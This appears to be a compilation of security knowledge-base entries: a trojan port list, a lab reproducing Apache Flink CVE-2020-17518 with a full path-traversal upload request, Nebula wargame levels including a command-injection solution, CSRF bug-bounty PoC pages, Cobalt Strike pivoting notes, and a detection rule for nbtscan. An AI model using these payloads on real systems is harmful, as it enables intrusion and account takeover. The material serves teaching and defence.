TCP 17569=Infector 1.4.x + 1.6.x
TCP 17777=Nephron
TCP 18753=Shaft (DDoS)
TCP 19191=蓝色火焰
TCP 19864=ICQ Revenge
TCP 20000=Millennium II (GrilFriend)
TCP 20001=Millennium II (GrilFriend)
TCP 20002=AcidkoR
TCP 20034=NetBus 2 Pro
TCP 20168=Lovgate
TCP 20203=Logged,Chupacabra
TCP 20331=Bla
TCP 20432=Shaft (DDoS)
TCP 20808=Worm.LovGate.v.QQ
TCP 213 35=Tribal Flood Network,Trinoo
TCP 21544=Schwindler 1.82,GirlFriend
TCP 21554=Schwindler 1.82,GirlFriend,Exloiter 1.0.1.2
TCP 22222=Prosiak,RuXUploader2.0
TCP 22784=Backdoor.Intruzzo
TCP 23432=Asylum 0.1.3
TCP 23444=网络公牛
TCP 23456=Evil FTP,Ugly FTP,WhackJob
TCP 23476=Donald Dick
TCP 23477=Donald Dick
TCP 23777=INet Spy
TCP 26274=Delta
TCP 26681=Spy Voice
TCP 27374=Sub Seven 2.0+,Backdoor.Baste
TCP 27444=Tribal Flood Network,Trinoo
TCP 27665=Tribal Flood Network,Trinoo
TCP 29431=Hack Attack
TCP 29432=Hack Attack
TCP 29104=Host Control
TCP 29559=TROJ_LATINUS.SVR
TCP 29891=The Unexplained
TCP 30001=Terr0r32
TCP 30003=Death,Lamers Death
TCP 30029=AOL trojan
TCP 30100=NetSphere 1.27a,NetSphere 1.31
TCP 30101=NetSphere 1.31,NetSphere 1.27a
TCP 30102=NetSphere 1.27a,NetSphere 1.31
TCP 30103=NetSphere 1.31
TCP 30303=Sockets de Troie
TCP 30722=W32.Esbot.A
TCP 30947=Intruse
TCP 30999=Kuang2
TCP 31336=Bo Whack
TCP 31337=Baron Night,BO client,BO2,Bo Facil,BackFire,Back Orifice,DeepBO,Freak2k,NetSpy
TCP 31338=NetSpy,Back Orifice,DeepBO
TCP 31339=NetSpy DK
TCP 31554=Schwindler
TCP 31666=BOWhack
TCP 31778=Hack Attack
TCP 31785=Hack Attack
TCP 31787=Hack Attack
TCP 31789=Hack Attack
TCP 31791=Hack Attack
TCP 31792=Hack Attack
TCP 32100=PeanutBrittle
TCP 32418=Acid Battery
TCP 33333=Prosiak,Blakharaz 1.0
TCP 33577=Son Of Psychward
TCP 33777=Son Of Psychward
TCP 33911=Spirit 2001a
TCP 34324=BigGluck,TN,Tiny Telnet Server
TCP 34555=Trin00 (Windows) (DDoS)
TCP 35555=Trin00 (Windows) (DDoS)
TCP 36794=Worm.Bugbear-A
TCP 37651=YAT
TCP 40412=The Spy
TCP 40421=Agent 40421,Masters Paradise.96
TCP 40422=Masters Paradise
TCP 40423=Masters Paradise.97
TCP 40425=Masters Paradise
TCP 40426=Masters Paradise 3.x
TCP 41666=Remote Boot
TCP 43210=Schoolbus 1.6/2.0
TCP 44444=Delta Source
TCP 44445=Happypig
TCP 45576=未知代理
TCP 47252=Prosiak
TCP 47262=Delta
TCP 47878=BirdSpy2
TCP 49301=Online Keylogger
TCP 50505=Sockets de Troie
TCP 50766=Fore,Schwindler
TCP 51966=CafeIni
TCP 53001=Remote Windows Shutdown
TCP 53217=Acid Battery 2000
TCP 54283=Back Door-G,Sub7
TCP 54320=Back Orifice 2000,Sheep
TCP 54321=School Bus .69-1.11,Sheep,BO2K
TCP 57341=NetRaider
TCP 58008=BackDoor.Tron
TCP 58009=BackDoor.Tron
TCP 58339=ButtFunnel
TCP 59211=BackDoor.DuckToy
TCP 60000=Deep Throat
TCP 60068=Xzip 6000068
TCP 60411=Connection
TCP 60606=TROJ_BCKDOR.G2.A
TCP 61466=Telecommando
TCP 61603=Bunker-kill
TCP 63485=Bunker-kill
TCP 65000=Devil,DDoS
TCP 65432=Th3tr41t0r,The Traitor
TCP 65530=TROJ_WINMITE.10
TCP 65535=RC,Adore Worm/Linux
UDP端口(静态端口)
UDP 1=Sockets des Troie
UDP 9=Chargen
UDP 19=Chargen
UDP 69=Pasana
UDP 80=Penrox
UDP 371=ClearCase版本管理软件
UDP 445=公共Internet文件系统(CIFS)
UDP 500=Internet密钥交换(IP安全性 ,IKE)
UDP端口(动态端口)
UDP 1025=Maverick’s Matrix 1.2 - 2.0
UDP 1026=Remote Explorer 2000
UDP 1027=UC聊天软件,Trojan.Huigezi.e
UDP 1028=3721上网助手(用途不明,建议用户警惕!),KiLo,SubSARI
UDP 1029=SubSARI
UDP 1031=Xot
UDP 1032=Akosch4
UDP 1104=RexxRave
UDP 1111=Daodan
UDP 1116=Lurker
UDP 1122=Last 2000,Singularity
UDP 1183=Cyn,SweetHeart
UDP 1200=NoBackO
UDP 1201=NoBackO
UDP 1342=BLA trojan
UDP 1344=Ptakks
UDP 1349=BO dll
UDP 1561=MuSka52
UDP 1701=VPN网关(L2TP)
UDP 1772=NetControle
UDP 1978=Slapper
UDP 1985=Black Diver
UDP 2000=A-trojan,Fear,Force,GOTHIC Intruder,Last 2000,Real 2000
UDP 2001=Scalper
UDP 2002=Slapper
UDP 2015=raid-cs
UDP 2018=rellpack
UDP 2130=Mini BackLash
UDP 2140=Deep Throat,Foreplay,The Invasor
UDP 2222=SweetHeart,Way
UDP 2339=Voice Spy
UDP 2702=Black Diver
UDP 2989=RAT
UDP 3150=Deep Throat
UDP 3215=XHX
UDP 3333=Daodan
UDP 3801=Eclypse
UDP 3996=Remote Anything
UDP 4128=RedShad
UDP 4156=Slapper
UDP 4500=sae-urn/ (IP安全性,IKE NAT遍历)
UDP 5419=DarkSky
UDP 5503=Remote Shell Trojan
UDP 5555=Daodan
UDP 5882=Y3K RAT
UDP 5888=Y3K RAT
UDP 6112=Battle .net Game
UDP 6666=KiLo
UDP 6667=KiLo
UDP 6766=KiLo
UDP 6767=KiLo,UandMe
UDP 6838=Mstream Agent-handler
UDP 7028=未知木马
UDP 7424=Host Control
UDP 7788=Singularity
UDP 7983=MStream handler-agent
UDP 8012=Ptakks
UDP 8090=Aphex’s Remote Packet Sniffer
UDP 8127=9_119,Chonker
UDP 8488=KiLo
UDP 8489=KiLo
UDP 8787=BackOrifice 2000
UDP 8879=BackOrifice 2000
UDP 9325=MStream Agent-handler
UDP 10000=XHX
UDP 10067=Portal of Doom
UDP 10084=Syphillis
UDP 10100=Slapper
UDP 10167=Portal of Doom
UDP 10498=Mstream
UDP 10666=Ambush
UDP 11225=Cyn
UDP 12321=Protoss
UDP 12345=BlueIce 2000
UDP12378=W32/Gibe@MM
UDP 12623=ButtMan,DUN Control
UDP 15210=UDP remote shell backdoor server
UDP 15486=KiLo
UDP 16514=KiLo
UDP 16515=KiLo
UDP 18753=Shaft handler to Agent
UDP 20433=Shaft
UDP 21554=GirlFriend
UDP 22784=Backdoor.Intruzzo
UDP 23476=Donald Dick
UDP 25123=MOTD
UDP 26274=Delta Source
UDP 26374=Sub-7 2.1
UDP 26444=Trin00/TFN2K
UDP 26573=Sub-7 2.1
UDP 27184=Alvgus trojan 2000
UDP 27444=Trinoo
UDP 29589=KiLo
UDP 29891=The Unexplained
UDP 30103=NetSphere
UDP 31320=Little Witch
UDP 31335=Trin00 DoS Attack
UDP 31337=Baron Night,BO client,BO2,Bo Facil,BackFire,Back Orifice,DeepBO
UDP 31338=Back Orifice,NetSpy DK,DeepBO
UDP 31339=Little Witch
UDP 31340=Little Witch
UDP 31416=Lithium
UDP 31787=Hack aTack
UDP 31789=Hack aTack
UDP 31790=Hack aTack
UDP 31791=Hack aTack
UDP 33390=未知木马
UDP 34555=Trinoo
UDP 35555=Trinoo
UDP 43720=KiLo
UDP 44014=Iani
UDP 44767=School Bus
UDP 46666=Taskman
UDP 47262=Delta Source
UDP 47785=KiLo
UDP 49301=OnLine keyLogger
UDP 49683=Fenster
UDP 49698=KiLo
UDP 52901=Omega
UDP 54320=Back Orifice
UDP 54321=Back Orifice 2000
UDP 54341=NetRaider Trojan
UDP 61746=KiLO
UDP 61747=KiLO
UDP 61748=KiLO
UDP 65432=The Traitor
|
sec-knowleage
|
# Apache Flink Upload Path Traversal (CVE-2020-17518)
Apache Flink is an open source stream processing framework with powerful stream- and batch-processing capabilities.
Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system, through a maliciously modified HTTP HEADER.
References:
- https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4
- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
## Environment Setup
Execute following commands to start a Apache Flink jobmanager 1.11.2:
```
docker compose up -d
```
After the Apache Flink is started, visit `http://your-ip:8081` to view the homepage.
## Exploit
Use following request to upload a file to `/tmp/success`:
```
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
```

|
sec-knowleage
|
# Level16
#### About
There is a perl script running on port 1616.
To do this level, log in as the level16 account with the password level16. Files for this level can be found in /home/flag16.
#### Source code
```
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
```
#### Solutions
```
echo ${PWD,,}
level16@nebula:~$ ${/BIN/GETFLAG>/TMP/11.TXT,,}
-sh: ${/BIN/GETFLAG>/TMP/11.TXT,,}: bad substitution
level16@nebula:~$ CMD=/BIN/GETFLAG;${CMD,,}
getflag is executing on a non-flag account, this doesn't count
level16@nebula:~$ cat /tmp/exp.sh
#!/bin/bash
/bin/getflag>>/tmp/lv16.txt
level16@nebula:~$ wget http://localhost:1616/index.cgi?username=%22%3C%2FDEV%2FNULL%3BP%3D%2FTMP%2FEXP.SH%3B%24{P%2C%2C}%3B%23&password=
```
|
sec-knowleage
|
# Trend Micro CTF 2018 Finals
Team: msm, akrasuski1, nazywam, shalom
### Table of contents
* [Brewery hack J1 (forensics/osint/reverse/crypto)](j1)
|
sec-knowleage
|
# T1018-win-检测nbtscan活动
## 来自ATT&CK的描述
攻击者可能试图通过IP地址,主机名或网络上其他可用于从当前系统进行横向移动的逻辑标识符来获取其他系统的列表。远程访问工具中存在类似的功能来可以实现此目的,但是也可以使用操作系统上可用的实用程序,例如Ping或net view。攻击者还可以使用本地主机文件(例如:C:\Windows\System32\Drivers\etc\hosts或/etc/hosts)来发现主机名到远程系统的IP地址的映射。
bonjour协议特定于macOS,用于在同一广播域中发现其他基于Mac的系统。
## 测试案例
Nbtscan.exe是一款用于扫描Windows网络上NetBIOS名字信息的程序。该程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。但只能用于局域网,NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。但只能用于局域网,NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。总之,NBTSCAN可以取到PC的真实IP地址和MAC地址。
## 检测日志
windows 安全日志
## 测试复现
```yml
C:\Users\12306br0\Desktop\test>nbtscan-1.0.35.exe 10.211.55.1/24
10.211.55.2 \MACBOOKPRO-3EAA
*timeout (normal end of scan)
```
## 测试留痕
```yml
4688,已创建新进程。
创建者主题:
安全 ID: 361A\12306br0
帐户名: 12306br0
帐户域: 361A
登录 ID: 0x507DC
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x135c
新进程名称: C:\Users\12306br0\Desktop\test\nbtscan-1.0.35.exe
令牌提升类型: %%1938
强制性标签: Mandatory Label\Medium Mandatory Level
创建者进程 ID: 0xc68
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: nbtscan-1.0.35.exe 10.211.55.1/24
```
## 检测规则/思路
### sigma规则
```yml
title: 检测nbtscan活动
description: windows server 2016、本检测规则参考Microsoft威胁防护团队发布的Operation Soft Cell威胁分析报告,Soft Cell行动是一系列针对全球电信提供商的用户呼叫日志的运动。这些攻击最早可以追溯到2012年。nbtscan.exe是一种合法的MS-DOS命令行工具,用于发现本地或远程TCP/IP网络上的任何NETBIOS名称服务器。
references: https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Discovery/detect-nbtscan-activity.md
tags: T1018
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 #进程创建
Newprocessname: '*nbtscan*.exe' #进程信息>新进程名称
condition: selection
level: low
```
### 建议
基于非系统自带进程名称的检测方法始终是不太靠谱的,当攻击者修改进程名称后,就无法通过进程名称进行检测;可以通过部署Sysmon,利用进程hash值进行检测。
## 相关TIP
[[T1018-win-远程系统发现]]
## 参考推荐
MITRE-ATT&CK-T1018
<https://attack.mitre.org/techniques/T1018/>
检测nbtscan活动
<https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Discovery/detect-nbtscan-activity.md>
Nbtscan下载
<http://unixwiz.net/tools/nbtscan.html>
软蜂窝行动:针对电信提供商的全球运动
<https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers>
|
sec-knowleage
|
# 八、跨站请求伪造
> 作者:Peter Yaworski
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 描述
跨站请求伪造,或 CSRF 攻击,在恶意网站、电子邮件、即使消息、应用以及其它,使用户的 Web 浏览器执行其它站点上的一些操作,并且用户已经授权或登录了该站点时发生。这通常会在用户不知道操作已经执行的情况下发生。
CSRF 攻击的影响取决于收到操作的站点。这里是一个例子:
1. Bob 登录了它的银行账户,执行了一些操作,但是没有登出。
2. Bob 检查了它的邮箱,并点击了一个陌生站点的链接。
3. 陌生站点向 Bob 银行站点发送请求来进行转账,并传递第一步中,保存 Bob 银行会话的 Cookie 信息。
4. Bob 的银行站点收到了来自陌生(恶意)站点的请求,没有使用 CSRF Token 的情况下处理了转账。
更有意思的是这个想法,也就是恶意网站的链接可以包含有效的 HTML,`<imgsrc=”www.malicious_site.com”>`,并且并不需要 Bob 点击链接。如果 Bob 的设备(例如浏览器)渲染了这个图片,它会向`malicious_site.com`发送请求,来完成 CSRF 攻击。
现在,知道了 CSRF 的危险之后,它们可以以多种方式防范。最流行的方式大概是 CSRF Token,它必须随着潜在的数据修改气你去一起提交(例如 POST 请求)。这里,Web 应用(例如 Bob 的银行)会生成一个两部分的 Token,一个 Bob 会收到,另一个由应用保管。
当 Bob 试图提交转账请求时,它就需要提交 Token,银行会验证它这一边的 Token。
现在,对于 CSRF 和 CSRF Token 来说,跨域资源共享似乎越来越普遍了。或者只是我注意到是这样。本质上,CORS 限制了资源,包括 JSON 响应,被外域访问。换句话说,当 CORS 用于保护站点时,你就不能编写 JavaScript 来调用目标应用,读取响应或者进行另一个调用,除非目标站点允许。
似乎这非常令人混乱,使用 JavaScript,尝试调用` HackerOne.com/activity.json`,读取响应并进行二次调用。你也会在下面的例子 #3 看到它的重要性,以及潜在的原理。
最后,重要的是要记住(感谢 Jobert Abma 补充),并不是每个不带有 CSRF Token 的请求都带有 CSRF 问题。一些站点可能执行额外的检查,例如比较 Referer 协议头(虽然可能出错,并且有一些绕过它的案例)。它是一个字段,标识了链接到被请求资源的页面地址。换句话说,如果 POST 调用中的 Referer 并不来源于收到 HTTP 请求的相同站点,站点可能不允许该调用,因此能够完成和验证 CSRF Token 的相同操作。此外,不是每个站点在创建或者定义 Token 时都使用`csrf`术语。例如,在 Badoo 它使用`rt`参数,我们下面会讨论。
> 链接
> 查看 [OWASP 测试指南](https://www.owasp.org/index.php/Testing_for_CSRF_%28OTG-SESS-005%29)。
## 示例
### 1\. Shopify 导出已安装的用户
难度:低
URL:`https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users`
报告链接:`https://hackerone.com/reports/96470`
报告日期:2015.10.29
奖金:$500
描述:
Shopify 的 API 提供了一个终端,用于导出已安装用户的列表,通过上面给出的 URL。在站点能够调用该终端,并且读取信息的地方存在漏洞,因为 Shopify 在该调用中并没有包含任何 CSRF Token 验证。所以,下面的 HTML 代码可以用于代表任何未知受害者提交表单。
```html
<html>
<head><title>csrf</title></head>
<body onLoad="document.forms[0].submit()">
<form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET">
</form>
</body>
</html>
```
这里,通过仅仅浏览站点,JavaScript 就会提交表单,它实际上包含 Shopify API 的 GET 请求,使用受害者的浏览器,并提供 Shopify 的 Cookie。
> 重要结论
> 扩展你的攻击领域,并从站点转向它的 API 终端。API 提供了极大的漏洞可能性,所以最好牢记他,尤其是当你知道 API 可能开发完毕,或者在站点实际开发之后可用的时候。
### 2\. Shopify Twitter 断开连接
难度:低
URL:`https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect`
报告链接:`https://hackerone.com/reports/111216`
报告日期:2016.1.17
奖金:$500
描述:
Shopify 提供了 Twitter 的继承,来允许店主转推它们的商品。与之相似,也提供了功能来断开推特账户和被连接商店的链接。
断开 Twitter 账户的 URL 写在了上面。当进行调用时,Shopify 不验证 CSRf Token,这可能会允许恶意人员代表受害者进行 GET 调用,因此断开受害者的商店与 Twitter 的连接。
在提供这份报告的时候,WeSecureApp 提供了下面的漏洞请求示例 - 要注意下面的`img`标签的使用,它对漏洞 URL 进行调用:
```
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=REDACTED
Connection: keep-alive
```
由于浏览器进行 GET 请求来获取给定 URL 处的图片,并且不验证任何 CSRF Token ,用户的商店现在已断开连接:
```html
<html>
<body>
<img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
</body>
</html>
```
> 重要结论
> 这种情况下,这个漏洞可以使用代理服务器来发现,例如 Burp 或者 Firefox 的 Tamper Data,来观察发送给 Shopify 的请求,并主要到这个请求使用 GET 方式来执行。由于这是个破坏性操作,而 GET 请求不应该修改任何服务器上的数据,这应该是一些需要关注的事情。
### 3\. Badoo 账户的完整控制
难度:中
URL:`https://badoo.com`
报告链接:`https://hackerone.com/reports/127703`
报告日期:2016.4.1
奖金:$852
描述:
如果你仔细检查 Badoo ,你会发现,它们通过包含 URL 参数`rt`来防御 CSRF,它只有 5 个位数(至少在我写这篇的时候)。虽然我在 Badoo 入驻 HackerOne 的时候就注意到了,我并没有找到利用它的方式,但是`zombiehelp54`找到了。
发现`rt`参数以及其值之后,它也注意到了,参数一户在所有 JSON 响应中都返回。不幸的是,这并没有什么帮助,因为 CORS 保护了 Badoo,攻击者无法读取这些响应,所以它继续挖掘。
最终,文件`https://eu1.badoo.com/worker-scope/chrome-service-worker.js`包含了`rt`值。更好的是,这个文件可以由攻击者任意读取,而不需要受害者做什么,除了浏览这个恶意页面。这里是它提供的代码。
```html
<html>
<head>
<title>Badoo account take over</title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript>
</head>
<body>
<script>
function getCSRFcode(str) {
return str.split('=')[2];
}
window.onload = function(){
var csrf_code = getCSRFcode(url_stats);
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script>
```
本质上,当受害者加载此页面时,它会调用 Badoo 的脚本,为用户获取`rt`参数,之后代表受害者进行调用,这里,它将受害者的账户链接到了攻击者的,本上上完成了账户的控制。
> 重要结论
> 无风不起浪。这里,攻击者注意到了`rt`参数在不同位置返回,特别是 JSON 响应,因此,它正确猜测了,它可能出现在一些可以利用的地方,这里是 JS 文件。
> 继续干吧,如果你觉得一些东西可能会发生,一定要继续挖掘。当你访问目标站点或应用时,使用 Burp 检查所有被调用的资源。
## 总结
CSRF 表示另一个攻击向量,并且可能在受害者不知道,或者不主动执行操作的情况下发生。CSRF 漏洞的发现可能需要一些机智,同样,也需要测试任何东西的渴望。
通常,如果站点执行 POST 请求,Web 表单都统一由应用框架保护,例如 Rails,但是 API 又是另外一个事情。例如, Shopify 使用了 RoR 编写,它对所有表单默认提供了 CSRF 保护(当然也可以关掉)。但是,显而易见,这对于使用框架创建的 API 不一定成立。最后,一定要观察任何通过 GET 请求执行的,修改服务器数据的调用(例如删除操作)。
|
sec-knowleage
|
# Level18
#### About
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
To do this level, log in as the level18 account with the password level18. Files for this level can be found in /home/flag18.
#### Source code
```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
```
|
sec-knowleage
|
# 0x00 端口转发
虽然他是集成在CS里面的工具 但是速度很慢,很不问题建议还是使用其他成熟的工具ew之类的。
这里就做个介绍
```
beacon> help rportfwd
Use: rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
Binds the specified port on the target host. When a connection comes in,
Cobalt Strike will make a connection to the forwarded host/port and use Beacon
to relay traffic between the two connections.
```
>rportfwd 本机端口 目标ip 目标端口
然后本地使用 就是本机ip+本机端口
# 0x01 socks4
通过这些SOCKS服务器的所有连接都将变为连接,读取,写入和关闭任务状态,以便执行相关的Beacon。您可以通过SOCKS的任何类型的Beacon进行隧道传输。
Beacon的HTTP数据通道对数据转发的响应最快,如果您想通过DNS转发流量,请使用DNS TXT记录通信模式。
CS本身支持的是socks4代理,貌似有脚本支持socks5,他有2种用法,一种是配合proxychains带入目标内网 ,一种是直接把msf带入目标内网
```
beacon> help socks
Use: socks [stop|port]
Starts a SOCKS4a server on the specified port. This server will relay
connections through this Beacon.
Use socks stop to stop the SOCKS4a server and terminate existing connections.
Traffic will not relay while Beacon is asleep. Change the sleep time with the
sleep command to reduce latency.
```
然后用proxychains 配合工具
```
vi /etc/proxychains.conf
socks4 xxx.xxx.xxx.xx 5566
```
配合msf 找到view >proxy pivots

然后打开msf 设置即可

msf 中 unsetg Proxies来停止此执行
# 0x02 Covert VPN
### 部署Covert VPN
要激活Covert VPN,右键单击受控的主机, Pivoting - > Deploy VPN。选择您希望Covert VPN绑定到的远程接口。如果没有本地接口,请选择Add来创建。

>clone host mac address
检查克隆主机MAC地址,使本地接口与远程接口具有相同的MAC地址。
选择Deploy在目标上启动Covert VPN客户端。Covert VPN需要管理员访问才能部署。
一旦Covert VPN接口被激活,您就可以像使用系统上的任何物理接口一样使用它。使用ifconfig配置其IP地址。如果目标网络具有DHCP服务器,则可以使用操作系统的内置工具从该服务器请求IP地址
### 管理接口
要管理您的Covert VPN接口,请进入到Cobalt Strike - > Interfaces。在这里,Cobalt Strike将显示Covert VPN接口,它们的配置方式以及通过每个接口传输和接收的字节数。突出显示一个接口,然后选择“Remove”清除该接口并关闭远程Covert VPN客户端。。Covert VPN将在重新启动时删除其临时文件,并立即自动撤消任何系统更改。
选择Add 以配置新的Covert VPN接口。
### 配置接口
Covert VPN接口包括一个网路分流器(Network Tap)和一个通过以太网帧进行通信的通道。要配置接口,请选择接口名称(这是稍后通过ifconfig操作的内容)和MAC地址。

### VPN接口设置
您还必须为您的接口配置Covert VPN通信通道。Covert VPN可以通过UDP连接、TCP连接,ICMP或使用HTTP协议来通信以太网帧。TCP(反向)通道的目标连接到Cobalt Strike实例。TCP(Bind)通道通过Beacon具有Cobalt Strike隧道VPN。
Cobalt Strike将根据您选择的本地端口和通道设置和管理与Covert VPN客户端的通信。
Covert VPN HTTP通道使用Cobalt Strike Web服务器。您可以在同一端口上托管其他Cobalt Strike Web应用程序和多个Covert VPN HTTP通道。
为获得最佳性能,请使用UDP通道。与TCP和HTTP通道相比,UDP通道的消耗最小。如果需要通过防火墙,请使用ICMP,HTTP或TCP(Bind)通道。
注意:此功能在Windows 10目标上不起作用。
# 0x02 文末
有些文章可能看起来有点水,其中很多引用了官方文档,这样写方便查阅。
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
# ASIS CTF 2019 Finals
Team: ak, c7, msm, rodbert, nazywam, sasza, rev, Eternal
### Table of contents
* [Serifin (crypto)](serifin)
* [Primordial (crypto)](primordial)
* [Close primes (ppc)](close_primes)
* [Truncated form (ppc)](truncated_form)
* [Secrets (forensics)](secrets)
* [Protected area 1(web)](protected_area1)
* [ShareL (web)](sharel)
* [True zero (re)](true_zero)
|
sec-knowleage
|
HOST = "localhost"
PORT = 1337
import os
import sys
from FLAG import FLAG
from pwn import *
import multiprocessing
r = None
remote_start_time = None
LED = 64
state = [[0 for i in range(4)] for j in range(4)]
MixColMatrix = [
[4, 1, 2, 2],
[8, 6, 5, 6],
[11,14,10, 9],
[2, 2,15,11],
]
sbox = [12, 5, 6, 11, 9, 0, 10, 13, 3, 14, 15, 8, 4, 7, 1, 2]
WORDFILTER = 0xF
def FieldMult(a,b):
ReductionPoly = 0x3
x = a
ret = 0
for i in range(0,4):
if (b>>i)&1 == 1: ret ^= x
if (x&0x8) != 0:
x <<= 1
x ^= ReductionPoly
else: x <<= 1
return ret&WORDFILTER
def AddKey(keyBytes,step):
global state
for i in range(0,4):
for j in range(0,4):
state[i][j] ^= keyBytes[(4*i+j+step*16)%(LED/4)]
return state
def AddConstants(r):
global state
RC = [
0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3E, 0x3D, 0x3B, 0x37, 0x2F,
0x1E, 0x3C, 0x39, 0x33, 0x27, 0x0E, 0x1D, 0x3A, 0x35, 0x2B,
0x16, 0x2C, 0x18, 0x30, 0x21, 0x02, 0x05, 0x0B, 0x17, 0x2E,
0x1C, 0x38, 0x31, 0x23, 0x06, 0x0D, 0x1B, 0x36, 0x2D, 0x1A,
0x34, 0x29, 0x12, 0x24, 0x08, 0x11, 0x22, 0x04
]
state[1][0] ^= 1
state[2][0] ^= 2
state[3][0] ^= 3
state[0][0] ^= (LED>>4)&0xf
state[1][0] ^= (LED>>4)&0xf
